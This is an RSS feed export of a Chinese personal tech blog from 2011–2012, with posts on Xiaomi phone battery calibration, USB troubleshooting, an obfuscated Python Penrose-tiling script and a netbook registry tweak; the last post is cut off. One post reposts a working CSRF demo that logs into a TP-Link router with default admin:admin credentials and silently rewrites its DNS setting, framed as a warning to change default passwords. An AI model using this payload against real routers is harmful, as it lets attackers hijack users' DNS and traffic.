<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[Holmesian Blog]]></title> 
<description><![CDATA[不能则学，不知则问，耻于问人，决无长进。]]></description>
<link>http://www.holmesian.org/</link>
<language>zh-cn</language>
<generator>www.emlog.net</generator>
<item>
	<title>小米手机电量显示错误</title>
	<link>http://www.holmesian.org/xiaomi-charge</link>
	<description><![CDATA[&nbsp; &nbsp; 最近发现小米手机电量显示的一个问题：手机电量在使用至10%以下的时候突然关机，但是马上插上充电器重启手机系统却显示还有40%左右的电量。网上搜索一下发现刷了MIUI 2.3.5k版本之后有不少TX出现了这种情况，在电量低的时候还可能会出现SD卡找不到和无限重启的情况，官方目前正准备在最新的MIUI版本中加入了一个模块来解决这些问题，详情参见http://bbs.xiaomi.com/thread-2302661-1-1.html，此外官方论坛也有不少人发过帖子说过开机充和关机充显示电量不同。<div><br />
</div>
<div>一般来说，除非是电池物理损坏，电池充不满、实际电量显示不准确等问题大多是系统电量控制文件导致的。对于安卓可以通过以下的方法校准电池（需要Root权限）</div>
<div><br />
</div>
<div>1. 保持连接电源开机</div>
<div>2. RE管理器进入data/battd下删除所有文件，进入data/system删除batterystats.bin</div>
<div>3. 关机充电或者用打开安卓优化大师电池维护充电（或其他电池维护软件）</div>
<div>4. 确保充满电状态，拔掉电源，开机让系统自动生成电池信息文件完成校准。</div>
<div><br />
</div>
<div>PS：/data/system/batterystats.bin这个文件是系统记录的包括电压在内的各种电池信息，删除这个文件之后系统会重新开始统计电池的使用信息。</div>
<div><br />
</div>
<div><br />
</div>
<div>不过不管怎么样手机电池最好还是不要用到自动关机才充电，能充电时可以随时充电，为了减少充电次数而刻意将电池用光后再充满，并不能延长电池寿命，反而对电池的寿命有负面影响。</div>
<div><br />
</div>
<div>我发现还有不少TX依然对所谓的电池记忆效应耿耿于怀，推荐这部分TX参考一下果壳网的这篇文章：<a href="http://www.guokr.com/article/3120/">http://www.guokr.com/article/3120/</a></div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/444">E6执行exe文件</a></p><p><a href="http://www.holmesian.org/AutoCAD_shx">解决AutoCAD打开dwg图提示未找到字体问题</a></p><p><a href="http://www.holmesian.org/D908iJAVA">D908i直接用数据线下JAVA程序</a></p><p><a href="http://www.holmesian.org/Old">古董机</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/win7-STOP-NCSI">Windows7一个可能泄漏隐私的选项</a></p></div>]]></description>
	<pubDate>Thu, 02 Feb 2012 05:34:22 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/xiaomi-charge</guid>

</item>
<item>
	<title>名侦探柯南剧场版DVD-沉默的15分钟</title>
	<link>http://www.holmesian.org/Conan-2011-DVD</link>
	<description><![CDATA[<div><a target="_blank" href="/content/uploadfile/201110/cdc679bebbe282e170ab6fe0dca8445e20111020044112.jpg" id="ematt:209"><img src="/content/uploadfile/201110/thum-cdc679bebbe282e170ab6fe0dca8445e20111020044112.jpg" alt="点击查看原图" border="0" /></a><br />
</div>
<div>【推荐指数】：9</div>
<div><br />
</div>
<div>【影片名称】：柯南第十五弹————沉默的十五分钟&nbsp;</div>
<div><br />
</div>
<div>【上映时间】：日本：2011年4月16日</div>
<div><br />
</div>
<div>【影片大小】：2.61GB</div>
<div><br />
</div>
<div>【影片格式】：mkv</div>
<div><br />
</div>
<div>【真实截图】：</div>
<p><a target="_blank" href="/content/uploadfile/201110/f3ccdd27d2000e3f9255a7e3e2c4880020111020044113.jpg" id="ematt:210"><img src="/content/uploadfile/201110/thum-f3ccdd27d2000e3f9255a7e3e2c4880020111020044113.jpg" alt="点击查看原图" border="0" /></a></p>
<p>&nbsp;</p>
<p><a target="_blank" href="/content/uploadfile/201110/156005c5baf40ff51a327f1c34f2975b20111020044113.jpg" id="ematt:211"><img src="/content/uploadfile/201110/thum-156005c5baf40ff51a327f1c34f2975b20111020044113.jpg" alt="点击查看原图" border="0" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>种子你懂的……</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;字幕你懂的……</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/CoansKwl">“毛利小五郎”观察报告</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/post/49">一位老柯迷评价十部柯南剧场版</a></p><p><a href="http://www.holmesian.org/Conan_2011">[名侦探柯南真人版3_怪鸟传说之谜2011][720P高清]</a></p><p><a href="http://www.holmesian.org/conan_mlxwl">毛利小五郎 离我们而去……</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-jingjifazhan">2011年考研政治大题预测-转变经济发展</a></p></div>]]></description>
	<pubDate>Thu, 20 Oct 2011 04:38:57 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Conan-2011-DVD</guid>

</item>
<item>
	<title>U盘不能识别问题</title>
	<link>http://www.holmesian.org/usb-unknown-device</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 今天周五上午比较闲，刚才有同事就电脑无法使用U盘向我求助，具体情况是这样的：系统为Windows XP SP3，插上U盘后提示找到新硬件“unknown device”，前置后置USB插孔都尝试过问题依旧，U盘插在其他电脑上读写正常。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 由于同事描述出问题之前没有做过任何多余的操作，先搁置了系统问题排除了U盘本身故障，按常规思路折腾了一大圈：</p>
<p>&nbsp;</p>
<p>1、在BIOS中禁用Integrated Peripherals的USB2.0 Controller支持；（老机器上USB2.0驱动不好可能会导致设备无法识别，下同）</p>
<p>2、在“设备管理器”的“通用串行总线控制器”主项中禁用“USB2 Enhanced”子项；</p>
<p><span class="Apple-style-span">3、</span>在“设备管理器”的“通用串行总线控制器”主项中<span class="Apple-style-span">删除/禁用PCI TO USB ENHANCED HOST CONTROLLER；（直觉对PCI2USB没有好感）</span></p>
<p>4、开机箱短接弹片给BIOS放电（曾经遇到过静电问题导致USB设备无法识别的情况）</p>
<p>&nbsp;</p>
<p>都没有任何效果，无意之中想到可能是服务导致的问题，遂在管理中查看服务选项：<span style="color:#e53333;">果然UPnP服务（Universal Plug and Play Device Host）没有启动！</span></p>
<p style="text-align:center;"><a target="_blank" href="/content/uploadfile/201109/4a47a0db6e60853dedfcfdf08a5ca24920110916002302.png" id="ematt:208"><img src="/content/uploadfile/201109/4a47a0db6e60853dedfcfdf08a5ca24920110916002302.png" alt="点击查看原图" border="0" /></a></p>
<p>接着将UPnP服务和其依赖的SSDP Discovery Service服务开启后，重启计算机终于弹出了可爱的发现新USB设备的正常提示。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Windows-cut-down">让你的Windows系统盘保持苗条</a></p><p><a href="http://www.holmesian.org/post/442">让你的Windows变成正版</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/post/551">HP笔记本 dv4全系列驱动for winxp</a></p><p><a href="http://www.holmesian.org/Win2k3_log">老服务器的若干问题</a></p><p><a href="http://www.holmesian.org/post/385">解决”Vista无法全选文件夹“的问题</a></p></div>]]></description>
	<pubDate>Thu, 15 Sep 2011 23:59:08 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/usb-unknown-device</guid>

</item>
<item>
	<title>另类路由攻击</title>
	<link>http://www.holmesian.org/csrf-router-hacking</link>
	<description><![CDATA[<p></p>
<p><span style="font-family:Arial;color:#333333;" class="Apple-style-span"><span style="line-height:normal;font-size:14px;" class="Apple-style-span">&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;无意中看到一则微博，说的是chrome和firefox这两浏览器由于直接支持Http Authentication Url登陆而导致了一个重大的安全隐患，看到解释之后颇为收益，文章浅显易懂故记录于此。看来只要将众多的小疏忽综合到一起就能够造成足够大的影响，绝对的安全谈何容易啊。</span></span></p>
<p><span style="font-family:Arial;color:#333333;" class="Apple-style-span"><span style="line-height:normal;font-size:14px;" class="Apple-style-span"><br />
</span></span></p>
<p><span style="font-family:Arial;color:#333333;" class="Apple-style-span"><span style="line-height:normal;font-size:14px;" class="Apple-style-span"><br />
</span></span></p>
<p style="line-height:normal;font-family:Arial;color:#333333;font-size:14px;"></p>
<p style="line-height:normal;font-family:Arial;color:#333333;font-size:14px;"></p>
<p style="line-height:normal;font-family:Arial;color:#333333;font-size:14px;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;首先简要的说下什么是Http Authentication，服务端返回一个401状态，并返回一个WWW-Authenticate头。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:198" href="/content/uploadfile/201109/f3ccdd27d2000e3f9255a7e3e2c4880020110915032048.jpg" target="_blank"></a></p>
<p style="text-align:center;line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:204" href="/content/uploadfile/201109/f3ccdd27d2000e3f9255a7e3e2c4880020110915033630.jpg" target="_blank"><img border="0" alt="点击查看原图" src="/content/uploadfile/201109/thum-f3ccdd27d2000e3f9255a7e3e2c4880020110915033630.jpg" /></a>&nbsp;<a id="ematt:207" href="/content/uploadfile/201109/d0096ec6c83575373e3a21d129ff8fef20110915033630.jpg" target="_blank"></a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">WWW-Authenticate头包含了Http Authentication认证框的一些描叙，如下图</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"></p>
<p style="text-align:center;line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:205" href="/content/uploadfile/201109/156005c5baf40ff51a327f1c34f2975b20110915033630.jpg" target="_blank"><img border="0" alt="点击查看原图" src="/content/uploadfile/201109/thum-156005c5baf40ff51a327f1c34f2975b20110915033630.jpg" /></a>&nbsp;<a id="ematt:206" href="/content/uploadfile/201109/799bad5a3b514f096e69bbc4a7896cd920110915033630.jpg" target="_blank"></a><a id="ematt:199" href="/content/uploadfile/201109/156005c5baf40ff51a327f1c34f2975b20110915032048.jpg" target="_blank"></a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">在认证框中输入用户名和密码，将密码放入Authorization头中发送</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">YWRtaW46YWRtaW4=即是admin:admin的base64编码</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:200" href="/content/uploadfile/201109/799bad5a3b514f096e69bbc4a7896cd920110915032048.jpg" target="_blank"></a></p>
<p style="text-align:center;line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;<a id="ematt:206" href="/content/uploadfile/201109/799bad5a3b514f096e69bbc4a7896cd920110915033630.jpg" target="_blank"><img border="0" alt="点击查看原图" src="/content/uploadfile/201109/thum-799bad5a3b514f096e69bbc4a7896cd920110915033630.jpg" /></a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">Http Authentication这一认证过程，实际上早先在所有浏览器中支持以Http Authentication Url的形式访问登陆，即</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a href="http://user:password@url/">http://user:password@url</a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">而微软为了防止钓鱼URL的问题，出了一个安全补丁，禁止了Http Authentication Url，见</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a href="http://support.microsoft.com/kb/834489">http://support.microsoft.com/kb/834489</a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">科普完毕，八下之前的一些东西，前些年看到过国外黑路由的几个案例，其中比较精彩的有flash upnp attack,将内网指定IP的端口给映射出来进行攻击，当然还有部分路由有漏洞也可以将路由的WEB管理端口给映射出来进行攻击，后来FLASH将这个安全漏洞修补了。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">回到正题上，我们知道国内大部分的家用路由都是使用的Http Authentication认证方式，比如我上图中的就是TPLINK路由，虽然IE禁止了Http Authentication Url，但是firefox、chrome等浏览器任然支持Http Authentication Url,同时以标签的形式嵌入Http Authentication Url可以强制Http Authentication认证成功，没有任何安全提示，于是邪恶的攻击方法来了。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">1. 我们可以取国内各种路由的默认IP和默认密码构造一个Http Authentication Url暴力登陆脚本。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">2.使用CSRF修改路由的DNS，指向我们的恶意DNS。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">比如下面这个TPLINK的小DEMO：</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"></p>
<pre class="brush:html; toolbar: true; auto-links: true;">&lt;script&gt;
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src='http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&amp;ip1=192.168.1.100&amp;ip2=192.168.1.199&amp;Lease=120&amp;gateway=0.0.0.0&amp;domain=&amp;dnsserver=8.8.8.8&amp;dnsserver2=0.0.0.0&amp;Save=%B1%A3+%B4%E6';
}
&lt;/script&gt;
&lt;img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=dns()&gt;</pre> <p></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><br />
&nbsp;访问tplink.html后！</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:191" href="/content/uploadfile/201109/d0096ec6c83575373e3a21d129ff8fef20110915030651.jpg" target="_blank"></a></p>
<p style="text-align:center;line-height:20px;font-family:Arial;color:#333333;font-size:14px;">&nbsp;<a id="ematt:207" href="/content/uploadfile/201109/d0096ec6c83575373e3a21d129ff8fef20110915033630.jpg" target="_blank"><img border="0" alt="点击查看原图" src="/content/uploadfile/201109/thum-d0096ec6c83575373e3a21d129ff8fef20110915033630.jpg" /></a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">偷偷加入一个8.8.8.8的DNS服务器！</p>
<p style="text-align:center;line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><a id="ematt:192" href="/content/uploadfile/201109/032b2cc936860b03048302d991c3498f20110915030651.jpg" target="_blank"><img border="0" alt="点击查看原图" src="/content/uploadfile/201109/032b2cc936860b03048302d991c3498f20110915030651.jpg" /></a></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"><span style="color:#e53333;">想一想，黑客如果用这种攻击方式大规模攻击，将是如何恐怖？弹指一挥间，数万路由被静默修改DNS？</span></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">这是一个普遍的安全问题，您的路由器是否修改好了默认密码，不过值得庆幸的是只有firefox、chrome等浏览器存在此类安全问题。</p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;"></p>
<p style="line-height:20px;font-family:Arial;color:#333333;font-size:14px;">原文在这里：<span class="Apple-style-span" style="color:#000000;font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:18px;"><a href="http://hi.baidu.com/rayh4c/blog/item/e0302da46d7457ec9052ee89.html">http://hi.baidu.com/rayh4c/blog/item/e0302da46d7457ec9052ee89.html</a></span></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Ubuntu_ipv6">Ubuntu9.04下关闭IPV6</a></p><p><a href="http://www.holmesian.org/ubuntu-questions">解决Ubuntu下若干问题。。。。</a></p><p><a href="http://www.holmesian.org/ubuntu-chromium">Ubuntu10.04下chromium无法输入内容</a></p><p><a href="http://www.holmesian.org/chrome-ssl-only">Chrome无插件实现强制SSL连接</a></p><p><a href="http://www.holmesian.org/post/352">FireFox下浏览shtml文件出现源代码之解决</a></p></div>]]></description>
	<pubDate>Thu, 15 Sep 2011 02:56:36 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/csrf-router-hacking</guid>

</item>
<item>
	<title>神奇的Python混乱代码</title>
	<link>http://www.holmesian.org/python-penrose-tiling</link>
	<description><![CDATA[<p>&nbsp; &nbsp;&nbsp;Python代码一直是讲究整洁的，其格式化的特性已经深入代码的编写，但是即使是这样从语法上限制格式还是有NB人士写出了下面的混乱代码，下面就是一段神奇的Python混乱代码，代码效果是生成彭罗斯铺砖图案：当这段代码运行时，它会产生一个1000×1000的png格式的彭罗斯铺砖图案，里面包含有大概2212个具有3D浮雕效果的彭罗斯铺砖图。</p>
<p></p>
<div id="kindeditor" class="note">这个脚本需要Pycairo代码库。它只能运行在Python &lt;= 2.7 版本上</div>
<p></p>
<p>&nbsp;</p>
<div id="kindeditor" class="annotate">彭罗斯铺砖法是个很神奇的东西，它的图案呈不规则周期状分布——你移动角度后都找不到再次重合的图案。它由罗杰·彭罗斯(Sir Roger Penrose)经过无数次的五边形铺拼试验而成。</div>
<pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">_                                 =\
                                """if!
                              1:"e,V=100
                            0,(0j-1)**-.2;
                           v,S=.5/  V.real,
                         [(0,0,4      *e,4*e*
                       V)];w=1          -v"def!
                      E(T,A,              B,C):P
                  ,Q,R=B*w+                A*v,B*w+C
            *v,A*w+B*v;retur              n[(1,Q,C,A),(1,P
     ,Q,B),(0,Q,P,A)]*T+[(0,C            ,R,B),(1,R,C,A)]*(1-T)"f
or!i!in!_[:11]:S       =sum([E          (*x)for       !x!in!S],[])"imp
  ort!cair               o!as!O;      s=O.Ima               geSurfac
   e(1,e,e)               ;c=O.Con  text(s);               M,L,G=c.
     move_to                ,c.line_to,c.s                et_sour
       ce_rgb                a"def!z(f,a)                :f(-a.
        imag,a.       real-e-e)"for!T,A,B,C!in[i       !for!i!
          in!S!if!i[""";exec(reduce(lambda x,i:x.replace(chr
           (i),"\n "[34-i:]),   range(   35),_+"""0]]:z(M,A
             );z(L,B);z         (L,C);         c.close_pa
             th()"G             (.4,.3             ,1);c.
             paint(             );G(.7             ,.7,1)
             ;c.fil             l()"fo             r!i!in
             !range             (9):"!             g=1-i/
             8;d=i/          4*g;G(d,d,d,          1-g*.8
             )"!def     !y(f,a):z(f,a+(1+2j)*(     1j**(i
             /2.))*g)"!for!T,A,B,C!in!S:y(M,C);y(L,A);y(M
             ,A);y(L,B)"!c.st            roke()"s.write_t
             o_png('pen                        rose.png')
             """                                       ))</pre><p></p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-diff"> python3.1与python2.x的区别</a></p><p><a href="http://www.holmesian.org/python-jiepang">用Python自动登录街旁并完成签到</a></p><p><a href="http://www.holmesian.org/python-shelve-set">折腾Python人人爬虫的收获</a></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/python-fetch">Python抓取教务处信息</a></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p></div>]]></description>
	<pubDate>Tue, 13 Sep 2011 12:22:54 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-penrose-tiling</guid>

</item>
<item>
	<title>小米手机预定排队</title>
	<link>http://www.holmesian.org/xiaomi-shouji-yuding</link>
	<description><![CDATA[<p>&nbsp; &nbsp; 关注小米有一段时间了，一直持观望态度，根据工程机用户的反馈和对比觉得小米手机还算是挺靠谱，至少在没有其他硬伤的情况下小米硬件上的超高性价比也是很诱人的。虽然说从八月中旬到十月下旬甚至十一月，雷军的策略有种绑架用户的架势，不过我本来就是准备这两个月换手机也不差这个把月，无所谓啦。</p>
<p></p>
<div id="kindeditor" class="quote"><span class="Apple-style-span" style="font-family:Arial, Helvetica, sans-serif;background-color:#faf9f5;"><strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">预订活动细节如下：</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">1. 九月五日13：00 开放排队</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
在9月5日当天，只有8月31日以前（不包括8月31日）注册小米账号并登陆过小米旗下论坛（小米手机论坛、MIUI论坛、米聊论坛）的米粉有资格排队。在9月6日13:00将开放自由排队，不限资质。<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">2. 仅使用小米账号登录并排队，网址在<a href="http://www.xiaomi.com/" target="_blank" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;color:#333333;text-decoration:none;">www.xiaomi.com</a></strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">3. 根据论坛的公开投票结果，规则是先到先排。</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
谁先加入排队，谁就在队伍前面。<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
另外我们将给资深米粉预留5000个名额。这5000名额独立于公开排队之外，只要在8.16前积分满100的老粉丝（秒杀成功的米粉也一样），点击排队会优先排在5000预留位置中，当5000个预留位置满了后，才和大家一起排队。<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">4. 预订不需要任何费用</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
预订本身不需要费用，当逐批到货后我们会通知大家进行下单购买。<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<strong style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;">5. 一个名额仅限购买一台，名额3个月内有效&nbsp;</strong><br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
一人购买一台。轮到你可以购买时，如果当时因为各种原因没有购买，购买权利会被保留下来，从小米量产出货时间开始，3月内有效。&nbsp;<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
<br style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;word-wrap:break-word;" />
以上是全部细则，千言万语，一切见谅。</span></div>
<p></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;今天13：00是小米手机预定的开始，小米手机的关注度还真是大，从12：30左右开始就感觉小米网站流量飙升，可能由于服务器压力过大导致其论坛部分功能也强行关闭了，我从12：55的样子开始刷新预定排队页面发现登录相当困难，等到13：05分左右的样子我成功进入队列的时候发现我依然是47089位了……</p>
<p>&nbsp;</p>
<p></p>
<div id="kindeditor" class="quote"><a target="_blank" href="/content/uploadfile/201109/0f5a25670f1647cd03dc54f61e299f6f20110905052053.png" id="ematt:187"><img src="/content/uploadfile/201109/thum-0f5a25670f1647cd03dc54f61e299f6f20110905052053.png" alt="点击查看原图" border="0" /></a><br />
</div>
<div id="kindeditor" class="quote"><span class="Apple-style-span" style="color:#999999;font-family:Tahoma;background-color:#252729;"><b><p class="s" style="outline-style:none;outline-width:initial;outline-color:initial;margin-top:30px;margin-bottom:0px;font-size:16px;color:#bdac92;">感谢对小米手机的厚爱，在此我们诚恳的告诉您一些细节：</p>
<p style="outline-style:none;outline-width:initial;outline-color:initial;margin-top:30px;margin-bottom:0px;font-size:16px;color:#bdac92;">小米手机将于10月量产正式发货。由于产能是一个逐渐攀升的过程，无法立刻满足所有需求，因此初期将按排队的先后顺序来满足购买,对此我们也非常抱歉。</p>
<p style="outline-style:none;outline-width:initial;outline-color:initial;margin-top:30px;margin-bottom:0px;font-size:16px;color:#bdac92;">根据您的排队顺序，估计您在<span style="outline-style:none;outline-width:initial;outline-color:initial;margin-top:0px;margin-right:6px;margin-bottom:0px;margin-left:6px;color:#ffffff;">10月或11月</span>能下单购买。<span style="outline-style:none;outline-width:initial;outline-color:initial;font-size:12px;">(这只是非常粗略的估计，根据实际产能和购买情况可能会提前或延后)</span></p>
<p style="outline-style:none;outline-width:initial;outline-color:initial;margin-top:30px;margin-bottom:0px;font-size:16px;color:#bdac92;">如果因此打乱您的购买计划，我们非常抱歉，同时也认为让您了解这些是对您时间的尊重。</p>
</b></span></div>
<p></p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/VCPlus">VC中编译linux手机软件代码的插件</a></p><p><a href="http://www.holmesian.org/CD908i">SGH-D900i手机&amp;gt;SGH-D908i</a></p><p><a href="http://www.holmesian.org/post/97">有关E680刷机</a></p><p><a href="http://www.holmesian.org/post/77">检测E680/i/g生产日期靠谱的方法</a></p><p><a href="http://www.holmesian.org/D908iboth">看D908i之优缺点</a></p><p><a href="http://www.holmesian.org/BC70">MOTO手机BC70电池真假识别方法</a></p></div>]]></description>
	<pubDate>Mon, 05 Sep 2011 05:13:14 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/xiaomi-shouji-yuding</guid>

</item>
<item>
	<title>推荐上网本修改一个注册表参数</title>
	<link>http://www.holmesian.org/windows-epc-cdrom</link>
	<description><![CDATA[<p>&nbsp; &nbsp; 今天无意之中查看日志发现几乎每次启动系统都会产生一次7026错误，内容是“下列引导或系统启动驱动程序无法加载:&nbsp;cdrom”。</p>
<p>&nbsp; &nbsp; 由于上网本是没有配置光驱的，所以完全可以设置开机不加载光驱驱动程序：将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\cdrom下的Start值改为3或4。</p>
<p></p>
<div id="kindeditor" class="note">如果不是上网本，以后要加载光驱的时候务必将此数值改为1，否则光驱将无法使用</div>
<p></p>
<p><span class="Apple-style-span" style="font-family:Arial, sans-serif;font-size:12px;line-height:normal;"><br />
</span></p>
<p><span class="Apple-style-span" style="font-family:Arial, sans-serif;font-size:12px;line-height:normal;"><br />
</span></p>
